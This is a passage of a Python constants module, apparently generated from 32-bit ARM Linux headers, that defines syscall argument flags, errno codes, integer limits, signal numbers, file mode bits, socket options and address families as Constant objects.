Constant('__ARGS_msgget',0)\n__ARGS_msgctl = Constant('__ARGS_msgctl',0)\n__ARGS_shmat = Constant('__ARGS_shmat',0)\n__ARGS_shmdt = Constant('__ARGS_shmdt',0)\n__ARGS_shmget = Constant('__ARGS_shmget',0)\n__ARGS_shmctl = Constant('__ARGS_shmctl',0)\n__ARGS_add_key = Constant('__ARGS_add_key',1)\n__ARGS_request_key = Constant('__ARGS_request_key',1)\n__ARGS_keyctl = Constant('__ARGS_keyctl',0)\n__ARGS_vserver = Constant('__ARGS_vserver',0)\n__ARGS_ioprio_set = Constant('__ARGS_ioprio_set',0)\n__ARGS_ioprio_get = Constant('__ARGS_ioprio_get',0)\n__ARGS_inotify_init = Constant('__ARGS_inotify_init',0)\n__ARGS_inotify_add_watch = Constant('__ARGS_inotify_add_watch',0)\n__ARGS_inotify_rm_watch = Constant('__ARGS_inotify_rm_watch',0)\n__ARGS_mbind = Constant('__ARGS_mbind',1)\n__ARGS_get_mempolicy = Constant('__ARGS_get_mempolicy',1)\n__ARGS_set_mempolicy = Constant('__ARGS_set_mempolicy',1)\n__ARGS_openat = Constant('__ARGS_openat',0)\n__ARGS_mkdirat = Constant('__ARGS_mkdirat',0)\n__ARGS_mknodat = Constant('__ARGS_mknodat',0)\n__ARGS_fchownat = Constant('__ARGS_fchownat',1)\n__ARGS_futimesat = Constant('__ARGS_futimesat',0)\n__ARGS_fstatat64 = Constant('__ARGS_fstatat64',0)\n__ARGS_unlinkat = Constant('__ARGS_unlinkat',0)\n__ARGS_renameat = Constant('__ARGS_renameat',0)\n__ARGS_linkat = Constant('__ARGS_linkat',1)\n__ARGS_symlinkat = Constant('__ARGS_symlinkat',0)\n__ARGS_readlinkat = Constant('__ARGS_readlinkat',0)\n__ARGS_fchmodat = Constant('__ARGS_fchmodat',0)\n__ARGS_faccessat = Constant('__ARGS_faccessat',0)\n__ARGS_unshare = Constant('__ARGS_unshare',0)\n__ARGS_set_robust_list = Constant('__ARGS_set_robust_list',0)\n__ARGS_get_robust_list = Constant('__ARGS_get_robust_list',0)\n__ARGS_splice = Constant('__ARGS_splice',1)\n__ARGS_arm_sync_file_range = Constant('__ARGS_arm_sync_file_range',0)\n__ARGS_sync_file_range2 = Constant('__ARGS_sync_file_range2',0)\n__ARGS_tee = Constant('__ARGS_tee',0)\n__ARGS_vmsplice = Constant('__ARGS_vmsplice',0)\n__ARGS_move_pages = Constant('__ARGS_move_pages',1)\n__ARGS_getcpu = Constant('__ARGS_getcpu',0)\n__ARGS_kexec_load = Constant('__ARGS_kexec_load',0)\n__ARGS_utimensat = Constant('__ARGS_utimensat',0)\n__ARGS_signalfd = Constant('__ARGS_signalfd',0)\n__ARGS_timerfd = Constant('__ARGS_timerfd',0)\n__ARGS_eventfd = Constant('__ARGS_eventfd',0)\n__ARGS_fallocate = Constant('__ARGS_fallocate',0)\n__ARGS_timerfd_settime = Constant('__ARGS_timerfd_settime',0)\n__ARGS_timerfd_gettime = Constant('__ARGS_timerfd_gettime',0)\n__ARGS_signalfd4 = Constant('__ARGS_signalfd4',0)\n__ARGS_eventfd2 = Constant('__ARGS_eventfd2',0)\n__ARGS_epoll_create1 = Constant('__ARGS_epoll_create1',0)\n__ARGS_dup3 = Constant('__ARGS_dup3',0)\n__ARGS_pipe2 = Constant('__ARGS_pipe2',0)\n__ARGS_inotify_init1 = Constant('__ARGS_inotify_init1',0)\n__ARGS_preadv = Constant('__ARGS_preadv',0)\n__ARGS_pwritev = Constant('__ARGS_pwritev',0)\n__ARGS_rt_tgsigqueueinfo = Constant('__ARGS_rt_tgsigqueueinfo',0)\n__ARGS_perf_event_open = Constant('__ARGS_perf_event_open',1)\n__ARGS_recvmmsg = Constant('__ARGS_recvmmsg',1)\n__ARGS_accept4 = Constant('__ARGS_accept4',0)\n__ARGS_fanotify_init = Constant('__ARGS_fanotify_init',0)\n__ARGS_fanotify_mark = Constant('__ARGS_fanotify_mark',1)\n__ARGS_prlimit64 = Constant('__ARGS_prlimit64',0)\n__ARGS_name_to_handle_at = Constant('__ARGS_name_to_handle_at',1)\n__ARGS_open_by_handle_at = Constant('__ARGS_open_by_handle_at',0)\n__ARGS_clock_adjtime = Constant('__ARGS_clock_adjtime',0)\n__ARGS_syncfs = Constant('__ARGS_syncfs',0)\n__ARGS_sendmmsg = Constant('__ARGS_sendmmsg',0)\n__ARGS_setns = Constant('__ARGS_setns',0)\n__ARGS_process_vm_readv = Constant('__ARGS_process_vm_readv',1)\n__ARGS_process_vm_writev = Constant('__ARGS_process_vm_writev',1)\n__ARGS_kcmp = Constant('__ARGS_kcmp',1)\n__ARGS_finit_module = Constant('__ARGS_finit_module',0)\nMAP_32BIT = Constant('MAP_32BIT',0x40)\nINADDR_ANY = Constant('INADDR_ANY',0)\nINADDR_BROADCAST = Constant('INADDR_BROADCAST',0xffffffff)\nINADDR_NONE = Constant('INADDR_NONE',0xffffffff)\nINADDR_LOOPBACK = Constant('INADDR_LOOPBACK',0x7f000001)\nEPERM = Constant('EPERM',1)\nENOENT = Constant('ENOENT',2)\nESRCH = Constant('ESRCH',3)\nEINTR = Constant('EINTR',4)\nEIO = Constant('EIO',5)\nENXIO = Constant('ENXIO',6)\nE2BIG = Constant('E2BIG',7)\nENOEXEC = Constant('ENOEXEC',8)\nEBADF = Constant('EBADF',9)\nECHILD = Constant('ECHILD',10)\nEAGAIN = Constant('EAGAIN',11)\nENOMEM = Constant('ENOMEM',12)\nEACCES = Constant('EACCES',13)\nEFAULT = Constant('EFAULT',14)\nENOTBLK = Constant('ENOTBLK',15)\nEBUSY = Constant('EBUSY',16)\nEEXIST = Constant('EEXIST',17)\nEXDEV = Constant('EXDEV',18)\nENODEV = Constant('ENODEV',19)\nENOTDIR = Constant('ENOTDIR',20)\nEISDIR = Constant('EISDIR',21)\nEINVAL = Constant('EINVAL',22)\nENFILE = Constant('ENFILE',23)\nEMFILE = Constant('EMFILE',24)\nENOTTY = Constant('ENOTTY',25)\nETXTBSY = Constant('ETXTBSY',26)\nEFBIG = Constant('EFBIG',27)\nENOSPC = Constant('ENOSPC',28)\nESPIPE = Constant('ESPIPE',29)\nEROFS = Constant('EROFS',30)\nEMLINK = Constant('EMLINK',31)\nEPIPE = Constant('EPIPE',32)\nEDOM = Constant('EDOM',33)\nERANGE = Constant('ERANGE',34)\nEDEADLK = Constant('EDEADLK',35)\nENAMETOOLONG = Constant('ENAMETOOLONG',36)\nENOLCK = Constant('ENOLCK',37)\nENOSYS = Constant('ENOSYS',38)\nENOTEMPTY = Constant('ENOTEMPTY',39)\nELOOP = Constant('ELOOP',40)\nEWOULDBLOCK = Constant('EWOULDBLOCK',11)\nENOMSG = Constant('ENOMSG',42)\nEIDRM = Constant('EIDRM',43)\nECHRNG = Constant('ECHRNG',44)\nEL2NSYNC = Constant('EL2NSYNC',45)\nEL3HLT = Constant('EL3HLT',46)\nEL3RST = Constant('EL3RST',47)\nELNRNG = Constant('ELNRNG',48)\nEUNATCH = Constant('EUNATCH',49)\nENOCSI = Constant('ENOCSI',50)\nEL2HLT = Constant('EL2HLT',51)\nEBADE = Constant('EBADE',52)\nEBADR = Constant('EBADR',53)\nEXFULL = Constant('EXFULL',54)\nENOANO = Constant('ENOANO',55)\nEBADRQC = Constant('EBADRQC',56)\nEBADSLT = Constant('EBADSLT',57)\nEDEADLOCK = Constant('EDEADLOCK',35)\nEBFONT = Constant('EBFONT',59)\nENOSTR = Constant('ENOSTR',60)\nENODATA = Constant('ENODATA',61)\nETIME = Constant('ETIME',62)\nENOSR = Constant('ENOSR',63)\nENONET = Constant('ENONET',64)\nENOPKG = Constant('ENOPKG',65)\nEREMOTE = Constant('EREMOTE',66)\nENOLINK = Constant('ENOLINK',67)\nEADV = Constant('EADV',68)\nESRMNT = Constant('ESRMNT',69)\nECOMM = Constant('ECOMM',70)\nEPROTO = Constant('EPROTO',71)\nEMULTIHOP = Constant('EMULTIHOP',72)\nEDOTDOT = Constant('EDOTDOT',73)\nEBADMSG = Constant('EBADMSG',74)\nEOVERFLOW = Constant('EOVERFLOW',75)\nENOTUNIQ = Constant('ENOTUNIQ',76)\nEBADFD = Constant('EBADFD',77)\nEREMCHG = Constant('EREMCHG',78)\nELIBACC = Constant('ELIBACC',79)\nELIBBAD = Constant('ELIBBAD',80)\nELIBSCN = Constant('ELIBSCN',81)\nELIBMAX = Constant('ELIBMAX',82)\nELIBEXEC = Constant('ELIBEXEC',83)\nEILSEQ = Constant('EILSEQ',84)\nERESTART = Constant('ERESTART',85)\nESTRPIPE = Constant('ESTRPIPE',86)\nEUSERS = Constant('EUSERS',87)\nENOTSOCK = Constant('ENOTSOCK',88)\nEDESTADDRREQ = Constant('EDESTADDRREQ',89)\nEMSGSIZE = Constant('EMSGSIZE',90)\nEPROTOTYPE = Constant('EPROTOTYPE',91)\nENOPROTOOPT = Constant('ENOPROTOOPT',92)\nEPROTONOSUPPORT = Constant('EPROTONOSUPPORT',93)\nESOCKTNOSUPPORT = Constant('ESOCKTNOSUPPORT',94)\nEOPNOTSUPP = Constant('EOPNOTSUPP',95)\nENOTSUP = Constant('ENOTSUP',95)\nEPFNOSUPPORT = Constant('EPFNOSUPPORT',96)\nEAFNOSUPPORT = Constant('EAFNOSUPPORT',97)\nEADDRINUSE = Constant('EADDRINUSE',98)\nEADDRNOTAVAIL = Constant('EADDRNOTAVAIL',99)\nENETDOWN = Constant('ENETDOWN',100)\nENETUNREACH = Constant('ENETUNREACH',101)\nENETRESET = Constant('ENETRESET',102)\nECONNABORTED = Constant('ECONNABORTED',103)\nECONNRESET = Constant('ECONNRESET',104)\nENOBUFS = Constant('ENOBUFS',105)\nEISCONN = Constant('EISCONN',106)\nENOTCONN = Constant('ENOTCONN',107)\nESHUTDOWN = Constant('ESHUTDOWN',108)\nETOOMANYREFS = Constant('ETOOMANYREFS',109)\nETIMEDOUT = Constant('ETIMEDOUT',110)\nECONNREFUSED = Constant('ECONNREFUSED',111)\nEHOSTDOWN = Constant('EHOSTDOWN',112)\nEHOSTUNREACH = Constant('EHOSTUNREACH',113)\nEALREADY = Constant('EALREADY',114)\nEINPROGRESS = Constant('EINPROGRESS',115)\nESTALE = Constant('ESTALE',116)\nEUCLEAN = Constant('EUCLEAN',117)\nENOTNAM = Constant('ENOTNAM',118)\nENAVAIL = Constant('ENAVAIL',119)\nEISNAM = Constant('EISNAM',120)\nEREMOTEIO = Constant('EREMOTEIO',121)\nEDQUOT = Constant('EDQUOT',122)\nENOMEDIUM = Constant('ENOMEDIUM',123)\nEMEDIUMTYPE = Constant('EMEDIUMTYPE',124)\nECANCELED = Constant('ECANCELED',125)\nENOKEY = Constant('ENOKEY',126)\nEKEYEXPIRED = Constant('EKEYEXPIRED',127)\nEKEYREVOKED = Constant('EKEYREVOKED',128)\nEKEYREJECTED = Constant('EKEYREJECTED',129)\nEOWNERDEAD = Constant('EOWNERDEAD',130)\nENOTRECOVERABLE = Constant('ENOTRECOVERABLE',131)\nERFKILL = Constant('ERFKILL',132)\nEHWPOISON = Constant('EHWPOISON',133)\n__SYS_NERR = Constant('__SYS_NERR',((133) + 1))\n__LITTLE_ENDIAN = Constant('__LITTLE_ENDIAN',1234)\n__BIG_ENDIAN = Constant('__BIG_ENDIAN',4321)\n__BYTE_ORDER = Constant('__BYTE_ORDER',1234)\n__FLOAT_WORD_ORDER = Constant('__FLOAT_WORD_ORDER',1234)\nLITTLE_ENDIAN = Constant('LITTLE_ENDIAN',1234)\nBIG_ENDIAN = Constant('BIG_ENDIAN',4321)\nBYTE_ORDER = Constant('BYTE_ORDER',1234)\n__WORDSIZE = Constant('__WORDSIZE',32)\nINT8_MAX = Constant('INT8_MAX',(127))\nINT16_MAX = Constant('INT16_MAX',(32767))\nINT32_MAX = Constant('INT32_MAX',(2147483647))\nINT64_MAX = Constant('INT64_MAX',(9223372036854775807))\nINT8_MIN = Constant('INT8_MIN',(-1 - (127)))\nINT16_MIN = Constant('INT16_MIN',(-1 - (32767)))\nINT32_MIN = Constant('INT32_MIN',(-1 - (2147483647)))\nINT64_MIN = Constant('INT64_MIN',(-1 - (9223372036854775807)))\nINT_LEAST8_MAX = Constant('INT_LEAST8_MAX',(127))\nINT_LEAST8_MIN = Constant('INT_LEAST8_MIN',(-1 - (127)))\nINT_LEAST16_MAX = Constant('INT_LEAST16_MAX',(32767))\nINT_LEAST16_MIN = Constant('INT_LEAST16_MIN',(-1 - (32767)))\nINT_LEAST32_MAX = Constant('INT_LEAST32_MAX',(2147483647))\nINT_LEAST32_MIN = Constant('INT_LEAST32_MIN',(-1 - (2147483647)))\nINT_LEAST64_MAX = Constant('INT_LEAST64_MAX',(9223372036854775807))\nINT_LEAST64_MIN = Constant('INT_LEAST64_MIN',(-1 - (9223372036854775807)))\nUINT8_MAX = Constant('UINT8_MAX',0xff)\nUINT16_MAX = Constant('UINT16_MAX',0xffff)\nUINT32_MAX = Constant('UINT32_MAX',0xffffffff)\nUINT64_MAX = Constant('UINT64_MAX',0xffffffffffffffff)\nUINT_LEAST8_MAX = Constant('UINT_LEAST8_MAX',0xff)\nUINT_LEAST16_MAX = Constant('UINT_LEAST16_MAX',0xffff)\nUINT_LEAST32_MAX = Constant('UINT_LEAST32_MAX',0xffffffff)\nUINT_LEAST64_MAX = Constant('UINT_LEAST64_MAX',0xffffffffffffffff)\nINTPTR_MIN = Constant('INTPTR_MIN',(-1 - (2147483647)))\nINTPTR_MAX = Constant('INTPTR_MAX',(2147483647))\nUINTPTR_MAX = Constant('UINTPTR_MAX',0xffffffff)\nSIZE_MAX = Constant('SIZE_MAX',0xffffffff)\nPTRDIFF_MIN = Constant('PTRDIFF_MIN',(-1 - (2147483647)))\nPTRDIFF_MAX = Constant('PTRDIFF_MAX',(2147483647))\nINTMAX_MIN = Constant('INTMAX_MIN',(-1 - (9223372036854775807)))\nINTMAX_MAX = Constant('INTMAX_MAX',(9223372036854775807))\nUINTMAX_MAX = Constant('UINTMAX_MAX',0xffffffffffffffff)\nINT_FAST8_MIN = Constant('INT_FAST8_MIN',(-1 - (127)))\nINT_FAST8_MAX = Constant('INT_FAST8_MAX',(127))\nINT_FAST64_MIN = Constant('INT_FAST64_MIN',(-1 - (9223372036854775807)))\nINT_FAST64_MAX = Constant('INT_FAST64_MAX',(9223372036854775807))\nUINT_FAST8_MAX = Constant('UINT_FAST8_MAX',0xff)\nUINT_FAST64_MAX = Constant('UINT_FAST64_MAX',0xffffffffffffffff)\nINT_FAST16_MIN = Constant('INT_FAST16_MIN',(-1 - (2147483647)))\nINT_FAST16_MAX = Constant('INT_FAST16_MAX',(2147483647))\nUINT_FAST16_MAX = Constant('UINT_FAST16_MAX',0xffffffff)\nINT_FAST32_MIN = Constant('INT_FAST32_MIN',(-1 - (2147483647)))\nINT_FAST32_MAX = Constant('INT_FAST32_MAX',(2147483647))\nUINT_FAST32_MAX = Constant('UINT_FAST32_MAX',0xffffffff)\nWINT_MIN = Constant('WINT_MIN',0)\n__FSUID_H = Constant('__FSUID_H',1)\nNSIG = Constant('NSIG',32)\n_NSIG = Constant('_NSIG',65)\nSIGHUP = Constant('SIGHUP',1)\nSIGINT = Constant('SIGINT',2)\nSIGQUIT = Constant('SIGQUIT',3)\nSIGILL = Constant('SIGILL',4)\nSIGTRAP = Constant('SIGTRAP',5)\nSIGABRT = Constant('SIGABRT',6)\nSIGIOT = Constant('SIGIOT',6)\nSIGFPE = Constant('SIGFPE',8)\nSIGKILL = Constant('SIGKILL',9)\nSIGSEGV = Constant('SIGSEGV',11)\nSIGPIPE = Constant('SIGPIPE',13)\nSIGALRM = Constant('SIGALRM',14)\nSIGTERM = Constant('SIGTERM',15)\nSIGUNUSED = Constant('SIGUNUSED',31)\nSIGBUS = Constant('SIGBUS',7)\nSIGUSR1 = Constant('SIGUSR1',10)\nSIGUSR2 = Constant('SIGUSR2',12)\nSIGSTKFLT = Constant('SIGSTKFLT',16)\nSIGCHLD = Constant('SIGCHLD',17)\nSIGCONT = Constant('SIGCONT',18)\nSIGSTOP = Constant('SIGSTOP',19)\nSIGTSTP = Constant('SIGTSTP',20)\nSIGTTIN = Constant('SIGTTIN',21)\nSIGTTOU = Constant('SIGTTOU',22)\nSIGURG = Constant('SIGURG',23)\nSIGXCPU = Constant('SIGXCPU',24)\nSIGXFSZ = Constant('SIGXFSZ',25)\nSIGVTALRM = Constant('SIGVTALRM',26)\nSIGPROF = Constant('SIGPROF',27)\nSIGWINCH = Constant('SIGWINCH',28)\nSIGIO = Constant('SIGIO',29)\nSIGPWR = Constant('SIGPWR',30)\nSIGSYS = Constant('SIGSYS',31)\nSIGCLD = Constant('SIGCLD',17)\nSIGPOLL = Constant('SIGPOLL',29)\nSIGLOST = Constant('SIGLOST',30)\nSIGRTMIN = Constant('SIGRTMIN',32)\nSIGRTMAX = Constant('SIGRTMAX',(65-1))\nSA_NOCLDSTOP = Constant('SA_NOCLDSTOP',0x00000001)\nSA_NOCLDWAIT = Constant('SA_NOCLDWAIT',0x00000002)\nSA_SIGINFO = Constant('SA_SIGINFO',0x00000004)\nSA_THIRTYTWO = Constant('SA_THIRTYTWO',0x02000000)\nSA_RESTORER = Constant('SA_RESTORER',0x04000000)\nSA_ONSTACK = Constant('SA_ONSTACK',0x08000000)\nSA_RESTART = Constant('SA_RESTART',0x10000000)\nSA_INTERRUPT = Constant('SA_INTERRUPT',0x20000000)\nSA_NODEFER = Constant('SA_NODEFER',0x40000000)\nSA_RESETHAND = Constant('SA_RESETHAND',0x80000000)\nSA_NOMASK = Constant('SA_NOMASK',0x40000000)\nSA_ONESHOT = Constant('SA_ONESHOT',0x80000000)\nSS_ONSTACK = Constant('SS_ONSTACK',1)\nSS_DISABLE = Constant('SS_DISABLE',2)\nMINSIGSTKSZ = Constant('MINSIGSTKSZ',2048)\nSIGSTKSZ = Constant('SIGSTKSZ',8192)\nSIG_BLOCK = Constant('SIG_BLOCK',0)\nSIG_UNBLOCK = Constant('SIG_UNBLOCK',1)\nSIG_SETMASK = Constant('SIG_SETMASK',2)\nSI_MAX_SIZE = Constant('SI_MAX_SIZE',128)\nSIGEV_SIGNAL = Constant('SIGEV_SIGNAL',0)\nSIGEV_NONE = Constant('SIGEV_NONE',1)\nSIGEV_THREAD = Constant('SIGEV_THREAD',2)\nSIGEV_THREAD_ID = Constant('SIGEV_THREAD_ID',4)\nSIGEV_MAX_SIZE = Constant('SIGEV_MAX_SIZE',64)\n_SYS_TIME_H = Constant('_SYS_TIME_H',1)\nITIMER_REAL = Constant('ITIMER_REAL',0)\nITIMER_VIRTUAL = Constant('ITIMER_VIRTUAL',1)\nITIMER_PROF = Constant('ITIMER_PROF',2)\nFD_SETSIZE = Constant('FD_SETSIZE',1024)\nR_OK = Constant('R_OK',4)\nW_OK = Constant('W_OK',2)\nX_OK = Constant('X_OK',1)\nF_OK = Constant('F_OK',0)\nSEEK_SET = Constant('SEEK_SET',0)\nSEEK_CUR = Constant('SEEK_CUR',1)\nSEEK_END = Constant('SEEK_END',2)\nSTDIN_FILENO = Constant('STDIN_FILENO',0)\nSTDOUT_FILENO = Constant('STDOUT_FILENO',1)\nSTDERR_FILENO = Constant('STDERR_FILENO',2)\n_CS_PATH = Constant('_CS_PATH',1)\n_SC_CLK_TCK = Constant('_SC_CLK_TCK',1)\n_SC_ARG_MAX = Constant('_SC_ARG_MAX',2)\n_SC_NGROUPS_MAX = Constant('_SC_NGROUPS_MAX',3)\n_SC_OPEN_MAX = Constant('_SC_OPEN_MAX',4)\n_SC_PAGESIZE = Constant('_SC_PAGESIZE',5)\n_SC_NPROCESSORS_ONLN = Constant('_SC_NPROCESSORS_ONLN',6)\n_SC_NPROCESSORS_CONF = Constant('_SC_NPROCESSORS_CONF',6)\n_SC_PHYS_PAGES = Constant('_SC_PHYS_PAGES',7)\n_SC_GETPW_R_SIZE_MAX = Constant('_SC_GETPW_R_SIZE_MAX',8)\n_SC_GETGR_R_SIZE_MAX = Constant('_SC_GETGR_R_SIZE_MAX',9)\n_PC_PATH_MAX = Constant('_PC_PATH_MAX',1)\n_PC_VDISABLE = Constant('_PC_VDISABLE',2)\nL_cuserid = Constant('L_cuserid',17)\n_POSIX_VERSION = Constant('_POSIX_VERSION',199506)\nF_ULOCK = Constant('F_ULOCK',0)\nF_LOCK = Constant('F_LOCK',1)\nF_TLOCK = Constant('F_TLOCK',2)\nF_TEST = Constant('F_TEST',3)\n_POSIX_MAPPED_FILES = Constant('_POSIX_MAPPED_FILES',200809)\nSTAT64_HAS_BROKEN_ST_INO = Constant('STAT64_HAS_BROKEN_ST_INO',1)\nS_IFMT = Constant('S_IFMT',0o0170000)\nS_IFSOCK = Constant('S_IFSOCK',0o140000)\nS_IFLNK = Constant('S_IFLNK',0o120000)\nS_IFREG = Constant('S_IFREG',0o100000)\nS_IFBLK = Constant('S_IFBLK',0o060000)\nS_IFDIR = Constant('S_IFDIR',0o040000)\nS_IFCHR = Constant('S_IFCHR',0o020000)\nS_IFIFO = Constant('S_IFIFO',0o010000)\nS_ISUID = Constant('S_ISUID',0o004000)\nS_ISGID = Constant('S_ISGID',0o002000)\nS_ISVTX = Constant('S_ISVTX',0o001000)\nS_IRWXU = Constant('S_IRWXU',0o0700)\nS_IRUSR = Constant('S_IRUSR',0o0400)\nS_IWUSR = Constant('S_IWUSR',0o0200)\nS_IXUSR = Constant('S_IXUSR',0o0100)\nS_IRWXG = Constant('S_IRWXG',0o0070)\nS_IRGRP = Constant('S_IRGRP',0o0040)\nS_IWGRP = Constant('S_IWGRP',0o0020)\nS_IXGRP = Constant('S_IXGRP',0o0010)\nS_IRWXO = Constant('S_IRWXO',0o0007)\nS_IROTH = Constant('S_IROTH',0o0004)\nS_IWOTH = Constant('S_IWOTH',0o0002)\nS_IXOTH = Constant('S_IXOTH',0o0001)\nS_IREAD = Constant('S_IREAD',0o0400)\nS_IWRITE = Constant('S_IWRITE',0o0200)\nS_IEXEC = Constant('S_IEXEC',0o0100)\n_SYS_UIO = Constant('_SYS_UIO',1)\nSOL_SOCKET = Constant('SOL_SOCKET',1)\nSO_DEBUG = Constant('SO_DEBUG',1)\nSO_REUSEADDR = Constant('SO_REUSEADDR',2)\nSO_TYPE = Constant('SO_TYPE',3)\nSO_ERROR = Constant('SO_ERROR',4)\nSO_DONTROUTE = Constant('SO_DONTROUTE',5)\nSO_BROADCAST = Constant('SO_BROADCAST',6)\nSO_SNDBUF = Constant('SO_SNDBUF',7)\nSO_RCVBUF = Constant('SO_RCVBUF',8)\nSO_KEEPALIVE = Constant('SO_KEEPALIVE',9)\nSO_OOBINLINE = Constant('SO_OOBINLINE',10)\nSO_NO_CHECK = Constant('SO_NO_CHECK',11)\nSO_PRIORITY = Constant('SO_PRIORITY',12)\nSO_LINGER = Constant('SO_LINGER',13)\nSO_BSDCOMPAT = Constant('SO_BSDCOMPAT',14)\nSO_REUSEPORT = Constant('SO_REUSEPORT',15)\nSO_PASSCRED = Constant('SO_PASSCRED',16)\nSO_PEERCRED = Constant('SO_PEERCRED',17)\nSO_RCVLOWAT = Constant('SO_RCVLOWAT',18)\nSO_SNDLOWAT = Constant('SO_SNDLOWAT',19)\nSO_RCVTIMEO = Constant('SO_RCVTIMEO',20)\nSO_SNDTIMEO = Constant('SO_SNDTIMEO',21)\nSO_SECURITY_AUTHENTICATION = Constant('SO_SECURITY_AUTHENTICATION',22)\nSO_SECURITY_ENCRYPTION_TRANSPORT = Constant('SO_SECURITY_ENCRYPTION_TRANSPORT',23)\nSO_SECURITY_ENCRYPTION_NETWORK = Constant('SO_SECURITY_ENCRYPTION_NETWORK',24)\nSO_BINDTODEVICE = Constant('SO_BINDTODEVICE',25)\nSO_ATTACH_FILTER = Constant('SO_ATTACH_FILTER',26)\nSO_DETACH_FILTER = Constant('SO_DETACH_FILTER',27)\nSO_GET_FILTER = Constant('SO_GET_FILTER',26)\nSO_PEERNAME = Constant('SO_PEERNAME',28)\nSO_TIMESTAMP = Constant('SO_TIMESTAMP',29)\nSCM_TIMESTAMP = Constant('SCM_TIMESTAMP',29)\nSO_ACCEPTCONN = Constant('SO_ACCEPTCONN',30)\nSO_PEERSEC = Constant('SO_PEERSEC',31)\nSO_SNDBUFFORCE = Constant('SO_SNDBUFFORCE',32)\nSO_RCVBUFFORCE = Constant('SO_RCVBUFFORCE',33)\nSO_PASSSEC = Constant('SO_PASSSEC',34)\nSO_TIMESTAMPNS = Constant('SO_TIMESTAMPNS',35)\nSCM_TIMESTAMPNS = Constant('SCM_TIMESTAMPNS',35)\nSO_MARK = Constant('SO_MARK',36)\nSO_TIMESTAMPING = Constant('SO_TIMESTAMPING',37)\nSCM_TIMESTAMPING = Constant('SCM_TIMESTAMPING',37)\nSO_PROTOCOL = Constant('SO_PROTOCOL',38)\nSO_DOMAIN = Constant('SO_DOMAIN',39)\nSO_RXQ_OVFL = Constant('SO_RXQ_OVFL',40)\nSO_WIFI_STATUS = Constant('SO_WIFI_STATUS',41)\nSCM_WIFI_STATUS = Constant('SCM_WIFI_STATUS',41)\nSO_PEEK_OFF = Constant('SO_PEEK_OFF',42)\nSO_NOFCS = Constant('SO_NOFCS',43)\nSO_LOCK_FILTER = Constant('SO_LOCK_FILTER',44)\nSO_SELECT_ERR_QUEUE = Constant('SO_SELECT_ERR_QUEUE',45)\nSO_BUSY_POLL = Constant('SO_BUSY_POLL',46)\nSO_MAX_PACING_RATE = Constant('SO_MAX_PACING_RATE',47)\nSO_BPF_EXTENSIONS = Constant('SO_BPF_EXTENSIONS',48)\nSO_INCOMING_CPU = Constant('SO_INCOMING_CPU',49)\nSO_ATTACH_BPF = Constant('SO_ATTACH_BPF',50)\nSO_DETACH_BPF = Constant('SO_DETACH_BPF',27)\nSO_ATTACH_REUSEPORT_CBPF = Constant('SO_ATTACH_REUSEPORT_CBPF',51)\nSO_ATTACH_REUSEPORT_EBPF = Constant('SO_ATTACH_REUSEPORT_EBPF',52)\nSO_CNX_ADVICE = Constant('SO_CNX_ADVICE',53)\nSCM_TIMESTAMPING_OPT_STATS = Constant('SCM_TIMESTAMPING_OPT_STATS',54)\nSO_MEMINFO = Constant('SO_MEMINFO',55)\nSO_INCOMING_NAPI_ID = Constant('SO_INCOMING_NAPI_ID',56)\nSO_COOKIE = Constant('SO_COOKIE',57)\nSCM_TIMESTAMPING_PKTINFO = Constant('SCM_TIMESTAMPING_PKTINFO',58)\nSO_PEERGROUPS = Constant('SO_PEERGROUPS',59)\nSO_ZEROCOPY = Constant('SO_ZEROCOPY',60)\nSOCK_STREAM = Constant('SOCK_STREAM',1)\nSOCK_DGRAM = Constant('SOCK_DGRAM',2)\nSOCK_RAW = Constant('SOCK_RAW',3)\nSOCK_RDM = Constant('SOCK_RDM',4)\nSOCK_SEQPACKET = Constant('SOCK_SEQPACKET',5)\nSOCK_DCCP = Constant('SOCK_DCCP',6)\nSOCK_PACKET = Constant('SOCK_PACKET',10)\nUIO_FASTIOV = Constant('UIO_FASTIOV',8)\nUIO_MAXIOV = Constant('UIO_MAXIOV',1024)\nSCM_RIGHTS = Constant('SCM_RIGHTS',0x01)\nSCM_CREDENTIALS = Constant('SCM_CREDENTIALS',0x02)\nSCM_CONNECT = Constant('SCM_CONNECT',0x03)\nAF_UNSPEC = Constant('AF_UNSPEC',0)\nAF_UNIX = Constant('AF_UNIX',1)\nAF_LOCAL = Constant('AF_LOCAL',1)\nAF_INET = Constant('AF_INET',2)\nAF_AX25 = Constant('AF_AX25',3)\nAF_IPX = Constant('AF_IPX',4)\nAF_APPLETALK = Constant('AF_APPLETALK',5)\nAF_NETROM = Constant('AF_NETROM',6)\nAF_BRIDGE = Constant('AF_BRIDGE',7)\nAF_ATMPVC = Constant('AF_ATMPVC',8)\nAF_X25 = Constant('AF_X25',9)\nAF_INET6 = Constant('AF_INET6',10)\nAF_ROSE = Constant('AF_ROSE',11)\nAF_DECnet = Constant('AF_DECnet',12)\nAF_NETBEUI = Constant('AF_NETBEUI',13)\nAF_SECURITY = Constant('AF_SECURITY',14)\nAF_KEY = Constant('AF_KEY',15)\nAF_NETLINK = Constant('AF_NETLINK',16)\nAF_ROUTE = Constant('AF_ROUTE',16)\nAF_PACKET = Constant('AF_PACKET',17)\nAF_ASH = Constant('AF_ASH',18)\nAF_ECONET = Constant('AF_ECONET',19)\nAF_ATMSVC = Constant('AF_ATMSVC',20)\nAF_SNA = Constant('AF_SNA',22)\nAF_IRDA = Constant('AF_IRDA',23)\nAF_PPPOX = Constant('AF_PPPOX',24)\nAF_WANPIPE = Constant('AF_WANPIPE',25)\nAF_LLC = Constant('AF_LLC',26)\nAF_IB = Constant('AF_IB',27)\nAF_MPLS = Constant('AF_MPLS',28)\nAF_CAN = Constant('AF_CAN',29)\nAF_TIPC = Constant('AF_TIPC',30)\nAF_BLUETOOTH = Constant('AF_BLUETOOTH',31)\nAF_IUCV = Constant('AF_IUCV',32)\nAF_RXRPC = Constant('AF_RXRPC',33)\nAF_ISDN = Constant('AF_ISDN',34)\nAF_PHONET = Constant('AF_PHONET',35)\nAF_IEEE802154 = Constant('AF_IEEE802154',36)\nAF_CAIF = Constant('AF_CAIF',37)\nAF_ALG = Constant('AF_ALG',38)\nAF_NFC = Constant('AF_NFC',39)\nAF_VSOCK = Constant('AF_VSOCK',40)\nAF_KCM = Constant('AF_KCM',41)\nAF_QIPCRTR = Constant('AF_QIPCRTR',42)\nAF_SMC = Constant('AF_SMC',43)\nAF_MAX = Constant('AF_MAX',44)\nPF_UNSPEC = Constant('PF_UNSPEC',0)\nPF_UNIX = Constant('PF_UNIX',1)\nPF_LOCAL = Constant('PF_LOCAL',1)\nPF_INET = Constant('PF_INET',2)\nPF_AX25 = Constant('PF_AX25',3)\nPF_IPX = 